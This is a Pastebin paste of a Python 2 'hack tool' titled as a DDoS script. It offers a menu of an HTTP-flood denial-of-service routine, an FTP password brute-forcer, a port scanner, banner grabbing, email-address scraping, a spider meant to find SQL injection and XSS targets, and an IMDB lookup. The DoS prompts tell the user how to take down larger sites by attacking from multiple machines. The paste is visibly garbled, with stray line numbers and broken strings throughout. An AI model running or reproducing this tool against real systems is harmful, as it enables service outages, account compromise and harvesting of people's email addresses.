Advertisement
Guest User

Ddos script PWNSEC

a guest
Jan 19th, 2019
268
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.85 KB | None | 0 0
  1. import sys
  2. import socket
  3. from datetime import datetime
  4. import os
  5. import urllib2
  6. import subprocess
  7. import html2text
  8. import random
  9. from time import *
  10. from string import *
  11. from random import *
  12. import re
  13.  
  14. def dos(host):
  15. subprocess.call( 'cls' , shell =True)
  16. subprocess.call( 'clear' , shell=True )
  17. uagent =[]
  18. uagent.append( "Mozilla/5.0 (compatible; MSIE 9.0;
  19. Windows NT 6.0) Opera 12.14" )
  20. uagent.append( "Mozilla/5.0 (X11; Ubuntu; Linux i686;
  21. rv:26.0) Gecko/20100101 Firefox/26.0" )
  22. uagent.append( "Mozilla/5.0 (X11; U; Linux x86_64; en-
  23. US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3" )
  24. uagent.append( "Mozilla/5.0 (Windows; U; Windows NT
  25. 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET
  26. CLR 3.5.30729)" )
  27. uagent.append( "Mozilla/5.0 (Windows NT 6.2)
  28. AppleWebKit/535.7 (KHTML, like Gecko) Comodo_
  29. Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7" )
  30. uagent.append( "Mozilla/5.0 (Windows; U; Windows NT
  31. 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3
  32. (.NET CLR 3.5.30729)" )
  33. uagent.append( "Mozilla/5.0 (Windows; U; Windows NT
  34. 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1" )
  35. print "[*]This program will use HTTP FLOOD to dos the
  36. host.\n[*]It would work only on small websites if done
  37. only for one computer.\n[*]To take down larger websites
  38. run the attack from multiple computers.\n[*] For better
  39. performance open multiple instances of this software
  40. and attack at the same time.\n"
  41. print "[*]Host to attack: " +host
  42. ip =socket.gethostbyname(host)
  43. print "[*]IP of the host: "+ip +"\n\n"
  44. conn=raw_input ( "Enter the number of packets to be sent
  45. (depends on the site but should be more than 2000 or
  46. 3000 for average sites): " )
  47. conn=int (conn)
  48.  
  49.  
  50.  
  51. for i in range(conn):
  52. try :
  53. s= socket.socket(socket.AF_INET , socket.SOCK_STREAM )
  54. except:
  55. print "Unable to create Socket. Retrying."
  56. continue
  57. random_index = randrange( len(uagent))
  58. try :
  59. s.connect((ip, 80))
  60. except:
  61. print "Unable To Connect. Retrying."
  62. continue
  63. print "[*]FLOODING!"
  64. s.send( "GET / HTTP/1.1\r\n" )
  65. s.send( "Host: "+ host+"\r\n" )
  66. s.send( "User-Agent: " +uagent[random_index] + "\r\n\r\n" )
  67. s.close()
  68. main()
  69.  
  70.  
  71.  
  72.  
  73. def imdb(movie):
  74. subprocess.call( 'cls' , shell =True)
  75. subprocess.call( 'clear' , shell=True )
  76. print "[*] Accessing IMDB database...\n"
  77. m =urllib2.urlopen( 'http://www.imdb.com/find?ref_=nv_
  78. sr_fn&q=' +movie.replace( ' ' , '+' )+'&s=all' )
  79. m =m.read()
  80. for i in m.split( '\n' ):
  81. if "result_text" in i:
  82. if "/title/" in i:
  83. if "/title/" in i.split( 'href=' )[ 1].split( '>' )[ 0].strip( "\"" ).split( "?
  84. ref" )[ 0]:
  85. link ="http://www.imdb.com" +i.split( 'href=' )[1 ].split( '>' )[ 0]
  86. .strip( "\"" ).split( "?ref" )[ 0]
  87.  
  88. url =urllib2.urlopen( str (link))
  89. for line in url.read().split( '\n' ):
  90. if 'strong title' in line:
  91. print line.split( 'title=' )[1].split( ">" )[ 0]
  92. main()
  93.  
  94.  
  95.  
  96.  
  97.  
  98.  
  99. def scanner(host):
  100. subprocess.call( 'cls' , shell =True)
  101. subprocess.call( 'clear' , shell=True )
  102. t1 =datetime.now()
  103. 82
  104. socket.setdefaulttimeout( 2)
  105. 83
  106. print "[*] Scanning "+ host
  107. 84
  108. print "[*] Starting Scanning at "+ str (t1)
  109. 85
  110. host= socket.gethostbyname(host)
  111. 86
  112. print "[*] IP of host: "+host
  113. 87
  114. ports =
  115. [ 1, 5, 7, 18 , 20, 21, 22, 23, 25 , 43, 42, 53, 80, 109 , 110, 115 , 118, 443 ,
  116. 194 , 161, 445 , 156, 137 , 139, 3306 ]
  117. 88
  118. try :
  119. 89
  120. for port in ports:
  121. 90
  122. sock = socket.socket(socket.AF_INET , socket.SOCK_
  123. STREAM )
  124. 91
  125. result = sock.connect_ex((host, port))
  126. 92
  127. if result == 0:
  128. 93
  129. print "Port {} : \t Open" .format(port)
  130. 94
  131. sock.close()
  132. 95
  133. 96
  134. except KeyboardInterrupt :
  135. 97
  136. print "You pressed Ctrl+C"
  137. 98
  138. main()
  139. 99
  140. 100
  141. except socket.gaierror:
  142. 101
  143. print 'Hostname could not be resolved. Exiting'
  144. 102
  145. main()
  146. 103
  147. 104
  148. except socket.error:
  149. 105
  150. print "Couldn't connect to server"
  151. 106
  152. main()
  153. 107
  154. t2 =datetime.now()
  155. 108
  156. timetaken =t2 -t1
  157. 109
  158. print "[*] Scanning ended at: " +str (t2) +"\n"
  159. 110
  160. print "[*] Time taken= "+str (timetaken)
  161. 111
  162. main()
  163. 112
  164. 113
  165. subprocess.call( 'cls' , shell =True)
  166. 114
  167. subprocess.call( 'clear' , shell=True )
  168. 115
  169. 116
  170. def email(host):
  171. 117
  172. subprocess.call( 'cls' , shell =True)
  173. 118
  174. subprocess.call( 'clear' , shell=True )
  175. 119
  176. print "[*] Email addresses found on page: "
  177. 120
  178. try :
  179. 121
  180. e= urllib2.urlopen( 'http://' + str (host))
  181. 122
  182. except:
  183. 123
  184. print "Error"
  185. 124
  186. try :
  187. 125
  188. e= urllib2.urlopen( 'http://' + str (host))
  189. 126
  190. except:
  191. 127
  192. print "Error"
  193. 128
  194. try :
  195. 129
  196. cont= html2text.html2text(e.read())
  197. 130
  198. except UnicodeDecodeError :
  199. 131
  200. try :
  201. 132
  202. cont= html2text.html2text(urllib2.urlopen( 'http://' +str
  203. (host)).read().decode( 'utf-8' ))
  204. 133
  205. except :
  206. 134
  207. cont= urllib2.urlopen( 'http://' + str (host)).read()
  208. 135
  209. cont= cont.split( '\n' )
  210. 136
  211. for line in cont:
  212. 137
  213. if '@' in line:
  214. 138
  215. print line
  216. 139
  217. main()
  218. 140
  219. 141
  220. def banner(host):
  221. 142
  222. subprocess.call( 'cls' , shell =True)
  223. 143
  224. subprocess.call( 'clear' , shell=True )
  225. 144
  226. try :
  227. 145
  228. s= socket.socket(socket.AF_INET , socket.SOCK_STREAM )
  229. 146
  230. except:
  231. 147
  232. "Error"
  233. 148
  234. host= socket.gethostbyname(host)
  235. 149
  236. port =raw_input ("[*] Enter the port of the service: ")
  237. 150
  238. try :
  239. 151
  240. s.connect((host, int(port)))
  241. 152
  242. print "[*] connection successfull\nWaiting for the
  243. banner...\n"
  244. 153
  245. if int (port) ==80 :
  246. 154
  247. s.send( 'HEAD / HTTP/1.0\r\n\r\n' )
  248. 155
  249. data = s.recv( 1024 )
  250. 156
  251. print "\Banner:\n" +str (data)
  252. 157
  253. 158
  254. s.close()
  255. 159
  256. except:
  257. 160
  258. print "Connection failed"
  259. 161
  260. 162
  261. main()
  262. 163
  263. 164
  264. def ftp(server):
  265. 165
  266. subprocess.call( 'cls' , shell =True)
  267. 166
  268. subprocess.call( 'clear' , shell=True )
  269. 167
  270. print "[*]Put the password file in the same directory.\n[*]
  271. The passwords should be on different lines.\n"
  272. 168
  273. password =[]
  274. 169
  275. passw =raw_input ( "Enter the password file name(eg:
  276. pass.txt, wordlist.txt): " )
  277. 170
  278. username =raw_input ( "Enter the username to hack(eg:
  279. admin, root): " )
  280. 171
  281. f =open(str (passw))
  282. 172
  283. f =f.read()
  284. 173
  285. f =f.split( '\n' )
  286. 174
  287. for i in f:
  288. 175
  289. password.append( str (i))
  290. 176
  291. 177
  292. server= socket.gethostbyname(server)
  293. 178
  294. 179
  295. for password in password:
  296. 180
  297. try :
  298. 181
  299. s= socket.socket(socket.AF_INET , socket.SOCK_STREAM )
  300. 182
  301. except:
  302. 183
  303. print "Unable to create Socket."
  304. 184
  305. main()
  306. 185
  307. try :
  308. 186
  309. s.connect((server, 21))
  310. 187
  311. except:
  312. 188
  313. print "Unable To Connect."
  314. 189
  315. main()
  316. 190
  317. data = s.recv( 1024 )
  318. 191
  319. s.send( 'USER ' + username + '\r\n' )
  320. 192
  321. data = s.recv( 1024 )
  322. 193
  323. s.send( 'PASS ' + password+ '\r\n' )
  324. 194
  325. print data
  326. 195
  327. data += " "+ s.recv( 1024 )
  328. 196
  329. data += " "+ s.recv( 1024 )
  330. 197
  331. s.send( "Quit\r\n" )
  332. 198
  333. s.close
  334. 199
  335. print "[*] Tried: " +password +"\n"
  336. 200
  337. if "230" in data:
  338. 201
  339. print "password found\n"
  340. 202
  341. print "[*] Password is: " + password
  342. 203
  343. main()
  344. 204
  345. else :
  346. 205
  347. print '[*] ' + password+ " is incorrect"
  348. 206
  349. print "No password Found. Try another word list or
  350. username."
  351. 207
  352. 208
  353. def spider(host):
  354. 209
  355. subprocess.call( 'cls' , shell =True)
  356. 210
  357. subprocess.call( 'clear' , shell=True )
  358. 211
  359. print "[*] Use the result to find promising URLs to try
  360. hacking using SQL injection or Xss etc.\n[*] Depth is the
  361. level to go inside the website( between 10-20 is enough
  362. usually but depends on you).\n[*] Output will also be
  363. saved in text files in the same folder as this software.\n"
  364. 212
  365. depth = raw_input ( "Enter the depth level in numbers: " )
  366. 213
  367. count =1
  368. 214
  369. url ="http://" +host
  370. 215
  371. text =open("depth1.txt" , "w+" )
  372. 216
  373. for i in re.findall( '''href=["'](.[^"']+)["']''' , urllib2.urlopen(url)
  374. .read(), re.I):
  375. 217
  376. if "http" not in i:
  377. 218
  378. i ="http://" +host+ i
  379. 219
  380. print i
  381. 220
  382. text.write(i + '\n' )
  383. 221
  384. text.close()
  385. 222
  386. while (count <=int (depth)):
  387. 223
  388. text =open("depth" +str (count) +".txt" , "r" )
  389. 224
  390. text1 =open("depth" +str (count + 1)+ ".txt" , "w+" )
  391. 225
  392. if text.read() == "" :
  393. 226
  394. print "\n****Finished****"
  395. 227
  396. main()
  397. 228
  398. f =text.read().split( "\n" )
  399. 229
  400. for j in f:
  401. 230
  402. if "http" not in j:
  403. 231
  404. j ="http://" +host+ j
  405. 232
  406. 233
  407. for k in re.findall( '''href=["'](.[^"']+)["']''' , urllib2.urlopen(j)
  408. .read(), re.I):
  409. 234
  410. print k
  411. 235
  412. text1.write(k + "\n" )
  413. 236
  414. text.close()
  415. 237
  416. text1.close()
  417. 238
  418. count +=1
  419. 239
  420. main()
  421. 240
  422. 241
  423. def main ():
  424. 242
  425. print "-" * 60+ "\n"
  426. 243
  427. print " Dark Fantasy - Hack Tool "
  428. 244
  429. print "-" * 60+ "\n"
  430. 245
  431. print "1.Port Scanning\n2.DDOS\n3.Banner Grabbing
  432. \n4.Web spider(gather all URLs for web hacking)\n5.FTP
  433. Password Cracker\n6.Email Scraping\n7.IMDB Rating"
  434. 246
  435. choice =raw_input ( "Enter Your Choice: ")
  436. 247
  437. hostname=raw_input ( "Enter Host Site or movie name
  438. (eg:wwww.google.com, www.yahoo.com, Batman, The
  439. Flash): " )
  440. 248
  441. if choice =='1' :
  442. 249
  443. scanner(hostname)
  444. 250
  445. elif choice =='6' :
  446. 251
  447. email(hostname)
  448. 252
  449. elif choice =='3' :
  450. 253
  451. banner(hostname)
  452. 254
  453. elif choice =='7' :
  454. 255
  455. imdb(hostname)
  456. 256
  457. elif choice =='5' :
  458. 257
  459. ftp(hostname)
  460. 258
  461. elif choice =='2' :
  462. 259
  463. dos(hostname)
  464. 260
  465. elif choice =='4' :
  466. 261
  467. spider(hostname)
  468. 262
  469. else :
  470. 263
  471. print "Wrong choice"
  472. 264
  473. 265
  474. if __name__ =='__main__' :
  475. 266
  476. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement